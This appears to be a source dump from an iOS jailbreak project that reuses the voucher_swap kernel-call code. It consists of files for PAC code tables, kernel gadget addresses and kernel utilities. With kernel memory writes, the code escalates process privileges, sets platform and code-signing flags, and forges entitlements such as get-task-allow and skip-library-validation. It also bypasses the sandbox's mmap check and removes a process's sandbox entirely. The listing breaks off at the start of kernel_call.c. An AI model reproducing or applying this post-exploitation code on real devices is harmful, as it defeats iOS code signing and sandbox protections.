221 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
222 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
223 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
224 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428,
225 | 0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584,
226 | 0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201,
227 | 0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7,
228 | 0xb1db, 0x7d35, 0xb06d, 0xcf08);
229 | }
230 |
231 | // A list of PAC initializations by platform.
232 | static struct initialization pac_codes[] = {
233 | { "iPhone11,*", "*", pac__iphone11_8__16C50 },
234 | };
235 |
236 | //#endif // __arm64e__
237 |
238 | // ---- Public API --------------------------------------------------------------------------------
239 |
240 | bool
241 | kernel_call_parameters_init() {
242 | bool ok = kernel_slide_init();
243 | if (!ok) {
244 | return false;
245 | }
246 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
247 | if (count < 1) {
248 | ERROR("no kernel_call %s for %s %s", "offsets",
249 | platform.machine, platform.osversion);
250 | return false;
251 | }
252 | count = run_initializations(addresses, ARRAY_COUNT(addresses));
253 | if (count < 1) {
254 | ERROR("no kernel_call %s for %s %s", "addresses",
255 | platform.machine, platform.osversion);
256 | return false;
257 | }
258 | //#if __arm64e__
259 | count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
260 | if (count < 1) {
261 | ERROR("no kernel_call %s for %s %s", "PAC codes",
262 | platform.machine, platform.osversion);
263 | return false;
264 | }
265 | //#endif // __arm64e__
266 | return true;
267 | }
268 |
--------------------------------------------------------------------------------
/kc_parameters.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/kc_parameters.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include "parameters.h"
13 |
14 | #ifdef KERNEL_CALL_PARAMETERS_EXTERN
15 | #define extern KERNEL_CALL_PARAMETERS_EXTERN
16 | #endif
17 |
18 | // A structure describing the PAC codes used as part of the context for signing and verifying
19 | // virtual method pointers in a vtable.
20 | struct vtable_pac_codes {
21 | size_t count;
22 | const uint16_t *codes;
23 | };
24 |
25 | // Generate the name for an offset in a virtual method table.
26 | #define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
27 |
28 | // Generate the name for a list of vtable PAC codes.
29 | #define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
30 |
31 | // A helper macro for INIT_VTABLE_PAC_CODES().
32 | #define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
33 |
34 | // Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
35 | // we place it in a static variable. Consequently, this macro will produce name conflicts if used
36 | // outside a function.
37 | #define INIT_VTABLE_PAC_CODES(class_, ...) \
38 | static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
39 | VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
40 | .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
41 | .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
42 | }
43 |
44 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
45 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
46 | extern uint64_t ADDRESS(l2tp_domain_inited);
47 | extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
48 | extern uint64_t ADDRESS(sysctl_unregister_oid);
49 | extern uint64_t ADDRESS(mov_x0_x4__br_x5);
50 | extern uint64_t ADDRESS(mov_x9_x0__br_x1);
51 | extern uint64_t ADDRESS(mov_x10_x3__br_x6);
52 | extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
53 | extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
54 | extern uint64_t ADDRESS(IOUserClient__vtable);
55 | extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
56 |
57 | extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
58 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
59 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
60 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
61 |
62 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
63 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM);
64 |
65 | // Parameters for IOAudio2DeviceUserClient.
66 | extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
67 |
68 | // Parameters for IOExternalTrap.
69 | extern size_t SIZE(IOExternalTrap);
70 | extern size_t OFFSET(IOExternalTrap, object);
71 | extern size_t OFFSET(IOExternalTrap, function);
72 | extern size_t OFFSET(IOExternalTrap, offset);
73 |
74 | // Parameters for IORegistryEntry.
75 | extern size_t OFFSET(IORegistryEntry, reserved);
76 | extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
77 |
78 | // Parameters for IOUserClient.
79 | extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
80 | extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
81 |
82 | /*
83 | * kernel_call_parameters_init
84 | *
85 | * Description:
86 | * Initialize the addresses used in the kernel_call subsystem.
87 | */
88 | bool kernel_call_parameters_init(void);
89 |
90 | #undef extern
91 |
92 | #endif
93 |
--------------------------------------------------------------------------------
/kern_utils.h:
--------------------------------------------------------------------------------
1 | #import
2 | #import
3 | #import
4 | #import
5 | #import
6 |
7 | kern_return_t mach_vm_read(
8 | vm_map_t target_task,
9 | mach_vm_address_t address,
10 | mach_vm_size_t size,
11 | vm_offset_t *data,
12 | mach_msg_type_number_t *dataCnt);
13 |
14 | /****** IOKit/IOKitLib.h *****/
15 | typedef mach_port_t io_service_t;
16 | typedef mach_port_t io_connect_t;
17 |
18 | extern const mach_port_t kIOMasterPortDefault;
19 | #define IO_OBJECT_NULL (0)
20 |
21 | kern_return_t
22 | IOConnectCallAsyncMethod(
23 | mach_port_t connection,
24 | uint32_t selector,
25 | mach_port_t wakePort,
26 | uint64_t* reference,
27 | uint32_t referenceCnt,
28 | const uint64_t* input,
29 | uint32_t inputCnt,
30 | const void* inputStruct,
31 | size_t inputStructCnt,
32 | uint64_t* output,
33 | uint32_t* outputCnt,
34 | void* outputStruct,
35 | size_t* outputStructCntP);
36 |
37 | kern_return_t
38 | IOConnectCallMethod(
39 | mach_port_t connection,
40 | uint32_t selector,
41 | const uint64_t* input,
42 | uint32_t inputCnt,
43 | const void* inputStruct,
44 | size_t inputStructCnt,
45 | uint64_t* output,
46 | uint32_t* outputCnt,
47 | void* outputStruct,
48 | size_t* outputStructCntP);
49 |
50 | io_service_t
51 | IOServiceGetMatchingService(
52 | mach_port_t _masterPort,
53 | CFDictionaryRef matching);
54 |
55 | CFMutableDictionaryRef
56 | IOServiceMatching(
57 | const char* name);
58 |
59 | kern_return_t
60 | IOServiceOpen(
61 | io_service_t service,
62 | task_port_t owningTask,
63 | uint32_t type,
64 | io_connect_t* connect );
65 |
66 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
67 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
68 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
69 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
70 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
71 |
72 | uint64_t find_port(mach_port_name_t port);
73 |
74 | void fixupsetuid(int pid);
75 | int fixupdylib(char *dylib);
76 | int fixupexec(char *exec);
77 | int setcsflagsandplatformize(int pd);
78 | int unsandbox(int pd);
79 |
80 | extern mach_port_t tfpzero;
81 | extern uint64_t kernel_base;
82 | extern uint64_t kernel_slide;
83 |
84 | #ifndef JAILBREAKDDEBUG
85 | #define NSLog(str, ...)
86 | #define printf(str, ...)
87 | #endif
88 |
--------------------------------------------------------------------------------
/kern_utils.m:
--------------------------------------------------------------------------------
1 | #import
2 | #import
3 | #import
4 | #import "kern_utils.h"
5 | #import "kmem.h"
6 | #import "patchfinder64.h"
7 | #import "kexecute.h"
8 | #import "kernel_call.h"
9 | #import "offsetof.h"
10 | #import "osobject.h"
11 | #import "sandbox.h"
12 | #import "offsets.h"
13 | #import "cs_blob.h"
14 |
15 | #define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN)
16 | int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
17 |
18 | uint64_t proc_find(int pd, int tries) {
19 | // TODO use kcall(proc_find) + ZM_FIX_ADDR
20 | while (tries-- > 0) {
21 | uint64_t proc = rk64(find_allproc());
22 | while (proc) {
23 | uint32_t pid = rk32(proc + offsetof_p_pid);
24 | if (pid == pd) {
25 | return proc;
26 | }
27 | proc = rk64(proc);
28 | }
29 | }
30 | return 0;
31 | }
32 |
33 | CACHED_FIND(uint64_t, our_task_addr) {
34 | uint64_t our_proc = proc_find(getpid(), 1);
35 |
36 | if (our_proc == 0) {
37 | printf("failed to find our_task_addr!\n");
38 | exit(EXIT_FAILURE);
39 | }
40 |
41 | uint64_t addr = rk64(our_proc + offsetof_task);
42 | printf("our_task_addr: 0x%llx\n", addr);
43 | return addr;
44 | }
45 |
46 | uint64_t find_port(mach_port_name_t port){
47 | uint64_t task_addr = our_task_addr();
48 |
49 | uint64_t itk_space = rk64(task_addr + offsetof_itk_space);
50 |
51 | uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table);
52 |
53 | uint32_t port_index = port >> 8;
54 | const int sizeof_ipc_entry_t = 0x18;
55 |
56 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
57 | return port_addr;
58 | }
59 |
60 | void fixupsetuid(int pid){
61 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
62 | bzero(pathbuf, sizeof(pathbuf));
63 |
64 | int ret = proc_pidpath(pid, pathbuf, sizeof(pathbuf));
65 | if (ret < 0){
66 | NSLog(@"Unable to get path for PID %d", pid);
67 | return;
68 | }
69 | struct stat file_st;
70 | if (lstat(pathbuf, &file_st) == -1){
71 | NSLog(@"Unable to get stat for file %s", pathbuf);
72 | return;
73 | }
74 | if (file_st.st_mode & S_ISUID){
75 | uid_t fileUID = file_st.st_uid;
76 | NSLog(@"Fixing up setuid for file owned by %u", fileUID);
77 |
78 | uint64_t proc = proc_find(pid, 3);
79 | if (proc != 0) {
80 | uint64_t ucred = rk64(proc + offsetof_p_ucred);
81 |
82 | uid_t cr_svuid = rk32(ucred + offsetof_ucred_cr_svuid);
83 | NSLog(@"Original sv_uid: %u", cr_svuid);
84 | wk32(ucred + offsetof_ucred_cr_svuid, fileUID);
85 | NSLog(@"New sv_uid: %u", fileUID);
86 | }
87 | } else {
88 | NSLog(@"File %s is not setuid!", pathbuf);
89 | return;
90 | }
91 | }
92 |
93 | extern struct offsets off;
94 | extern uint64_t kernel_slide;
95 |
96 | int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) {
97 |
98 | size_t len = strlen(path) + 1;
99 | uint64_t ptr = kalloc(8);
100 | uint64_t ptr2 = kalloc(len);
101 | kwrite(ptr2, path, len);
102 |
103 | if (kernel_call_7(off.vnode_lookup + kernel_slide, 4, ptr2, flags, ptr, vfs_context)) {
104 | return -1;
105 | }
106 |
107 | *vnode = rk64(ptr);
108 | kfree(ptr2, len);
109 | kfree(ptr, 8);
110 | return 0;
111 | }
112 |
113 | int vnode_put(uint64_t vnode) {
114 | //if (off.vnode_put) {
115 | return kernel_call_7(off.vnode_put + kernel_slide, 1, vnode);
116 | //}
117 |
118 | /*//uint32_t usecount = rk32(vnode + 0x60);
119 | uint32_t iocount = rk32(vnode + 0x64);
120 |
121 | if (iocount <= 1) return 0;
122 |
123 | //if (iocount > 1) {
124 | iocount--;
125 | wk32(vnode + 0x64, iocount);
126 | //}
127 |
128 | return 0;*/
129 | }
130 |
131 | uint64_t get_vfs_context() {
132 | return zm_fix_addr(kernel_call_7(off.vfs_context + kernel_slide, 1, 1));
133 | }
134 |
135 | uint64_t getVnodeAtPath(const char *path) {
136 | uint64_t *vnode_ptr = (uint64_t *)malloc(8);
137 | if (vnode_lookup(path, 0, vnode_ptr, get_vfs_context())) {
138 | NSLog(@"Unable to get vnode from path for %s\n", path);
139 | free(vnode_ptr);
140 | return 0;
141 | }
142 | else {
143 | uint64_t vnode = *vnode_ptr;
144 | free(vnode_ptr);
145 | return vnode;
146 | }
147 | }
148 |
149 | // sandbox doesn't allow mmap() from /var (except app's own container)
150 | // checked by mpo_file_check_mmap() in sandbox kext
151 | // it returns 0 on "allow" or something on "deny"
152 | // patching that is a no no cus KPP/KTRR
153 | // Apple was kind enough to add a shortcut
154 | // if dylib is on dyld_shared_cache all checks are bypassed
155 | // checked by vnode_isdyldsharedcache(), which just checks if VSHARED_DYLD is on dylib's vnode
156 | // So add that flag and we're in
157 |
158 | // vp->v_flags |= VSHARED_DYLD
159 |
160 | int fixupdylib(char *dylib) {
161 | NSLog(@"Fixing up dylib %s", dylib);
162 |
163 | #define VSHARED_DYLD 0x000200
164 |
165 | NSLog(@"Getting vnode");
166 | uint64_t vnode = getVnodeAtPath(dylib);
167 |
168 | if (!vnode) {
169 | NSLog(@"Failed to get vnode!");
170 | return -1;
171 | }
172 |
173 | NSLog(@"vnode of %s: 0x%llx", dylib, vnode);
174 |
175 | uint32_t v_flags = rk32(vnode + offsetof_v_flags);
176 | if (v_flags & VSHARED_DYLD) {
177 | vnode_put(vnode);
178 | return 0;
179 | }
180 |
181 | NSLog(@"old v_flags: 0x%x", v_flags);
182 |
183 | wk32(vnode + offsetof_v_flags, v_flags | VSHARED_DYLD);
184 |
185 | v_flags = rk32(vnode + offsetof_v_flags);
186 | NSLog(@"new v_flags: 0x%x", v_flags);
187 |
188 | vnode_put(vnode);
189 |
190 | return !(v_flags & VSHARED_DYLD);
191 | }
192 |
193 |
194 | void set_csflags(uint64_t proc) {
195 | uint32_t csflags = rk32(proc + offsetof_p_csflags);
196 | NSLog(@"Previous CSFlags: 0x%x", csflags);
197 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL);
198 | NSLog(@"New CSFlags: 0x%x", csflags);
199 | wk32(proc + offsetof_p_csflags, csflags);
200 | }
201 |
202 | void set_tfplatform(uint64_t proc) {
203 | // task.t_flags & TF_PLATFORM
204 | uint64_t task = rk64(proc + offsetof_task);
205 | uint32_t t_flags = rk32(task + offsetof_t_flags);
206 |
207 | NSLog(@"Old t_flags: 0x%x", t_flags);
208 |
209 | t_flags |= TF_PLATFORM;
210 | wk32(task+offsetof_t_flags, t_flags);
211 |
212 | NSLog(@"New t_flags: 0x%x", t_flags);
213 |
214 | }
215 |
216 |
217 | void set_csblob(uint64_t proc) {
218 | uint64_t textvp = rk64(proc + offsetof_p_textvp); //vnode of executable
219 | off_t textoff = rk64(proc + offsetof_p_textoff);
220 |
221 |
222 | NSLog(@"\t__TEXT at 0x%llx. Offset: 0x%llx", textvp, textoff);
223 |
224 | if (textvp != 0){
225 | uint32_t vnode_type_tag = rk32(textvp + offsetof_v_type);
226 | uint16_t vnode_type = vnode_type_tag & 0xffff;
227 | uint16_t vnode_tag = (vnode_type_tag >> 16);
228 |
229 | NSLog(@"\tVNode Type: 0x%x. Tag: 0x%x.", vnode_type, vnode_tag);
230 |
231 |
232 | if (vnode_type == 1){
233 | uint64_t ubcinfo = rk64(textvp + offsetof_v_ubcinfo);
234 |
235 | NSLog(@"\t\tUBCInfo at 0x%llx.\n", ubcinfo);
236 |
237 |
238 | uint64_t csblobs = rk64(ubcinfo + offsetof_ubcinfo_csblobs);
239 | while (csblobs != 0){
240 |
241 | NSLog(@"\t\t\tCSBlobs at 0x%llx.", csblobs);
242 |
243 |
244 | cpu_type_t csblob_cputype = rk32(csblobs + offsetof_csb_cputype);
245 | unsigned int csblob_flags = rk32(csblobs + offsetof_csb_flags);
246 | off_t csb_base_offset = rk64(csblobs + offsetof_csb_base_offset);
247 | uint64_t csb_entitlements = rk64(csblobs + offsetof_csb_entitlements_offset);
248 | unsigned int csb_signer_type = rk32(csblobs + offsetof_csb_signer_type);
249 | unsigned int csb_platform_binary = rk32(csblobs + offsetof_csb_platform_binary);
250 | unsigned int csb_platform_path = rk32(csblobs + offsetof_csb_platform_path);
251 |
252 |
253 | NSLog(@"\t\t\tCSBlob CPU Type: 0x%x. Flags: 0x%x. Offset: 0x%llx", csblob_cputype, csblob_flags, csb_base_offset);
254 | NSLog(@"\t\t\tCSBlob Signer Type: 0x%x. Platform Binary: %d Path: %d", csb_signer_type, csb_platform_binary, csb_platform_path);
255 |
256 | wk32(csblobs + offsetof_csb_platform_binary, 1);
257 |
258 | csb_platform_binary = rk32(csblobs + offsetof_csb_platform_binary);
259 |
260 | NSLog(@"\t\t\tCSBlob Signer Type: 0x%x. Platform Binary: %d Path: %d", csb_signer_type, csb_platform_binary, csb_platform_path);
261 |
262 | NSLog(@"\t\t\t\tEntitlements at 0x%llx.\n", csb_entitlements);
263 |
264 | csblobs = rk64(csblobs);
265 | }
266 | }
267 | }
268 | }
269 |
270 | const char* abs_path_exceptions[] = {
271 | "/private/var/containers/Bundle/iosbinpack64",
272 | "/private/var/containers/Bundle/tweaksupport",
273 | // XXX there's some weird stuff about linking and special
274 | // handling for /private/var/mobile/* in sandbox
275 | "/private/var/mobile/Library",
276 | "/private/var/mnt",
277 | NULL
278 | };
279 |
280 | uint64_t get_exception_osarray(void) {
281 | static uint64_t cached = 0;
282 |
283 | if (cached == 0) {
284 | // XXX use abs_path_exceptions
285 | cached = OSUnserializeXML(""
286 | "/private/var/containers/Bundle/iosbinpack64/"
287 | "/private/var/containers/Bundle/tweaksupport/"
288 | "/private/var/mobile/Library/"
289 | "/private/var/mnt/"
290 | "");
291 | }
292 |
293 | return cached;
294 | }
295 |
296 | static const char *exc_key = "com.apple.security.exception.files.absolute-path.read-only";
297 |
298 | void set_amfi_entitlements(uint64_t proc) {
299 | // AMFI entitlements
300 |
301 | NSLog(@"%@",@"AMFI:");
302 |
303 | uint64_t proc_ucred = rk64(proc+0xf8);
304 | uint64_t amfi_entitlements = rk64(rk64(proc_ucred+0x78)+0x8);
305 |
306 | NSLog(@"%@",@"Setting Entitlements...");
307 |
308 |
309 | OSDictionary_SetItem(amfi_entitlements, "get-task-allow", find_OSBoolean_True());
310 | OSDictionary_SetItem(amfi_entitlements, "com.apple.private.skip-library-validation", find_OSBoolean_True());
311 |
312 | /*uint64_t present = OSDictionary_GetItem(amfi_entitlements, exc_key);
313 |
314 | int rv = 0;
315 |
316 | if (present == 0) {
317 | rv = OSDictionary_SetItem(amfi_entitlements, exc_key, get_exception_osarray());
318 | } else if (present != get_exception_osarray()) {
319 | unsigned int itemCount = OSArray_ItemCount(present);
320 |
321 | NSLog(@"present != 0 (0x%llx)! item count: %d", present, itemCount);
322 |
323 | BOOL foundEntitlements = NO;
324 |
325 | uint64_t itemBuffer = OSArray_ItemBuffer(present);
326 |
327 | for (int i = 0; i < itemCount; i++){
328 | uint64_t item = rk64(itemBuffer + (i * sizeof(void *)));
329 | NSLog(@"Item %d: 0x%llx", i, item);
330 | char *entitlementString = OSString_CopyString(item);
331 | if (strstr(entitlementString, "tweaksupport") != 0) {
332 | foundEntitlements = YES;
333 | free(entitlementString);
334 | break;
335 | }
336 | free(entitlementString);
337 | }
338 |
339 | if (!foundEntitlements){
340 | rv = OSArray_Merge(present, get_exception_osarray());
341 | } else {
342 | rv = 1;
343 | }
344 | } else {
345 | NSLog(@"Not going to merge array with itself :P");
346 | rv = 1;
347 | }
348 |
349 | if (rv != 1) {
350 | NSLog(@"Setting exc FAILED! amfi_entitlements: 0x%llx present: 0x%llx\n", amfi_entitlements, present);
351 | }*/
352 | }
353 |
354 | const char *ents = ""
355 | ""
356 | ""
357 | ""
358 | "com.apple.security.exception.files.absolute-path.read-only" // bypass stat()
359 | ""
360 | "/private/var/containers/Bundle/iosbinpack64/"
361 | "/private/var/containers/Bundle/tweaksupport/"
362 | "/private/var/mobile/Library/"
363 | "/private/var/mnt/"
364 | ""
365 | "platform-application" // platform
366 | ""
367 | "get-task-allow" // allow task_for_pid() on that process
368 | ""
369 | "com.apple.private.skip-library-validation" // invalid libs
370 | ""
371 | ""
372 | "";
373 |
374 | static uint64_t entitlement_blob = 0;
375 | static uint64_t unserialized_blob = 0;
376 |
377 | int fixupexec(char *file) {
378 |
379 | int fd;
380 | if ((fd = open(file, O_RDONLY)) < 0) {
381 | NSLog(@"[-] Failed to open file '%s'\n", file);
382 | return -1;
383 | }
384 |
385 | uint32_t magic;
386 | read(fd, &magic, 4);
387 | if (magic != 0xFEEDFACF && magic != 0xBEBAFECA) {
388 | NSLog(@"[-] File '%s' is not a mach-o\n", file);
389 | close(fd);
390 | return -1;
391 | }
392 | close(fd);
393 |
394 | pid_t pd;
395 | const char* args[] = {file, NULL};
396 |
397 | posix_spawnattr_t attr;
398 | posix_spawnattr_init(&attr);
399 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);
400 |
401 | int rv = posix_spawn(&pd, file, NULL, &attr, (char **)&args, NULL);
402 |
403 | if (!rv) {
404 | kill(pd, SIGKILL);
405 | }
406 | else {
407 | NSLog(@"[-] Can't exec file '%s', err: %d (%s) \n", file, rv, strerror(rv));
408 | return -1;
409 | }
410 |
411 | uint64_t vnode = getVnodeAtPath(file);
412 | if (!vnode) {
413 | NSLog(@"[-] Failed to get vnode for '%s'\n", file);
414 | return -1;
415 | }
416 | NSLog(@"[*] Found vnode: 0x%llx\n", vnode);
417 |
418 | uint16_t vtype;
419 | kread(vnode + offsetof_v_type, &vtype, sizeof(uint16_t));
420 | if (vtype != 1) {
421 | NSLog(@"%s", "[-] Vnode does not have correct type\n");
422 | goto fail;
423 | }
424 |
425 | uint64_t ubc_info = rk64(vnode + offsetof_v_ubcinfo);
426 | if (!ubc_info) {
427 | NSLog(@"%s", "[-] No ubc_info?\n");
428 | goto fail;
429 | }
430 | NSLog(@"[*] ubc_info: 0x%llx\n", ubc_info);
431 |
432 | uint64_t cs_blobs = rk64(ubc_info + offsetof_ubcinfo_csblobs);
433 | if (!cs_blobs) {
434 | NSLog(@"%s", "[-] No cs_blobs?\n");
435 | goto fail;
436 | }
437 | NSLog(@"[*] cs_blobs: 0x%llx\n", cs_blobs);
438 |
439 | struct cs_blob csblobs;
440 | kread(cs_blobs, &csblobs, sizeof(struct cs_blob));
441 |
442 | uint64_t entitlements_blob = (uint64_t)csblobs.csb_entitlements;
443 | NSLog(@"[*] Blob: 0x%llx\n", entitlements_blob);
444 |
445 | if (!entitlements_blob) {
446 | NSLog(@"%s", "[*] Found no entitlements.");
447 |
448 | if (!unserialized_blob) {
449 | NSLog(@"%s", "[*] Generating...");
450 | unserialized_blob = OSUnserializeXML(ents);
451 | if (!unserialized_blob) {
452 | NSLog(@"%s", "[-] Failed to create dictionary...\n");
453 | goto fail;
454 | }
455 | }
456 | csblobs.csb_entitlements = (void*)unserialized_blob;
457 |
458 | if (!entitlement_blob) {
459 | NSLog(@"%s", "[*] Creating a raw blob\n");
460 |
461 | uint32_t size = strlen(ents) + sizeof(CS_GenericBlob);
462 |
463 | CS_GenericBlob *blob = malloc(size);
464 | blob->magic = CSMAGIC_EMBEDDED_ENTITLEMENTS;
465 | blob->length = ntohl(size);
466 | memcpy(blob->data, ents, strlen(ents) + 1);
467 |
468 | entitlement_blob = kalloc(size);
469 | NSLog(@"[*] New blob: 0x%llx\n", entitlement_blob);
470 | kwrite(entitlement_blob, blob, size);
471 |
472 | free(blob);
473 | }
474 | csblobs.csb_entitlements_blob = (CS_GenericBlob*)entitlement_blob;
475 | }
476 | else {
477 | NSLog(@"%s", "[*] Found some entitlements!");
478 |
479 | if (!OSDictionary_GetItem(entitlements_blob, "platform-application")) OSDictionary_SetItem(entitlements_blob, "platform-application", find_OSBoolean_True());
480 | if (!OSDictionary_GetItem(entitlements_blob, "com.apple.private.skip-library-validation")) OSDictionary_SetItem(entitlements_blob, "com.apple.private.skip-library-validation", find_OSBoolean_True());
481 | if (!OSDictionary_GetItem(entitlements_blob, "get-task-allow")) OSDictionary_SetItem(entitlements_blob, "get-task-allow", find_OSBoolean_True());
482 |
483 | uint64_t present = OSDictionary_GetItem(entitlements_blob, "com.apple.security.exception.files.absolute-path.read-only");
484 |
485 | if (!present) OSDictionary_SetItem(entitlements_blob, "com.apple.security.exception.files.absolute-path.read-only", get_exception_osarray());
486 | else if (present != get_exception_osarray()) {
487 | unsigned int itemCount = OSArray_ItemCount(present);
488 |
489 | NSLog(@"present != 0 (0x%llx)! item count: %d", present, itemCount);
490 |
491 | BOOL foundEntitlements = NO;
492 |
493 | uint64_t itemBuffer = OSArray_ItemBuffer(present);
494 |
495 | for (int i = 0; i < itemCount; i++){
496 | uint64_t item = rk64(itemBuffer + (i * sizeof(void *)));
497 | NSLog(@"Item %d: 0x%llx", i, item);
498 | char *entitlementString = OSString_CopyString(item);
499 | if (strstr(entitlementString, "tweaksupport") != 0) {
500 | foundEntitlements = YES;
501 | free(entitlementString);
502 | break;
503 | }
504 | free(entitlementString);
505 | }
506 |
507 | if (!foundEntitlements){
508 | rv = OSArray_Merge(present, get_exception_osarray());
509 | } else {
510 | rv = 1;
511 | }
512 | } else {
513 | NSLog(@"Not going to merge array with itself :P");
514 | rv = 1;
515 | }
516 | }
517 |
518 | csblobs.csb_flags |= ((CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL));
519 | csblobs.csb_platform_binary = 1;
520 | csblobs.csb_platform_path = 0;
521 |
522 | printf("[*] Success? Writing the blob!\n");
523 |
524 | kwrite(cs_blobs, &csblobs, sizeof(struct cs_blob));
525 | goto exit;
526 |
527 | exit:;
528 | vnode_put(vnode);
529 | return 0;
530 | fail:;
531 | vnode_put(vnode);
532 | return 1;
533 | }
534 |
535 | void set_sandbox_extensions(uint64_t proc) {
536 | uint64_t proc_ucred = rk64(proc + offsetof_p_ucred);
537 | uint64_t sandbox = rk64(rk64(proc_ucred + 0x78) + 0x10);
538 |
539 | char name[40] = {0};
540 | kread(proc + 0x250, name, 20);
541 |
542 | NSLog(@"proc = 0x%llx & proc_ucred = 0x%llx & sandbox = 0x%llx", proc, proc_ucred, sandbox);
543 |
544 | if (sandbox == 0) {
545 | NSLog(@"no sandbox, skipping");
546 | return;
547 | }
548 |
549 | if (has_file_extension(sandbox, abs_path_exceptions[0])) {
550 | NSLog(@"already has '%s', skipping", abs_path_exceptions[0]);
551 | return;
552 | }
553 |
554 | uint64_t ext = 0;
555 | const char** path = abs_path_exceptions;
556 | while (*path != NULL) {
557 | ext = extension_create_file(*path, ext);
558 | if (ext == 0) {
559 | NSLog(@"extension_create_file(%s) failed, panic!", *path);
560 | }
561 | ++path;
562 | }
563 |
564 | NSLog(@"last extension_create_file ext: 0x%llx", ext);
565 |
566 | if (ext != 0) {
567 | extension_add(ext, sandbox, exc_key);
568 | }
569 | }
570 |
571 | int setcsflagsandplatformize(int pid){
572 | fixupdylib("/var/containers/Bundle/tweaksupport/usr/lib/TweakInject.dylib");
573 | uint64_t proc = proc_find(pid, 3);
574 | if (proc != 0) {
575 | set_csflags(proc);
576 | set_tfplatform(proc);
577 | set_amfi_entitlements(proc);
578 | set_sandbox_extensions(proc);
579 | //set_csblob(proc);
580 | NSLog(@"setcsflagsandplatformize on PID %d", pid);
581 | return 0;
582 | }
583 | NSLog(@"Unable to find PID %d to entitle!", pid);
584 | return 1;
585 | }
586 |
587 | int unsandbox(int pid) {
588 | uint64_t proc = proc_find(pid, 3);
589 | uint64_t proc_ucred = rk64(proc + offsetof_p_ucred);
590 | uint64_t sandbox = rk64(rk64(proc_ucred+0x78) + 8 + 8);
591 | if (sandbox == 0) {
592 | NSLog(@"Already unsandboxed");
593 | return 0;
594 | } else {
595 | NSLog(@"Unsandboxing pid %d", pid);
596 | wk64(rk64(proc_ucred+0x78) + 8 + 8, 0);
597 | sandbox = rk64(rk64(proc_ucred+0x78) + 8 + 8);
598 | if (sandbox == 0) return 0;
599 | }
600 | return -1;
601 | }
602 |
603 |
--------------------------------------------------------------------------------
/kernel_call.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call.c
3 | * Brandon Azad
4 | */
5 | #include "kernel_call.h"
6 |
7 | #include "kern_utils.h"
8 | #include "kernel_memory.h"
9 | #include "offsetof.h"
10 |
11 | #include
12 | #include
13 | #include
14 |
15 | #include "pac.h"
16 | #include "user_client.h"
17 | #include "log.h"
18 |
19 | // ---- Public API --------------------------------------------------------------------------------
20 |
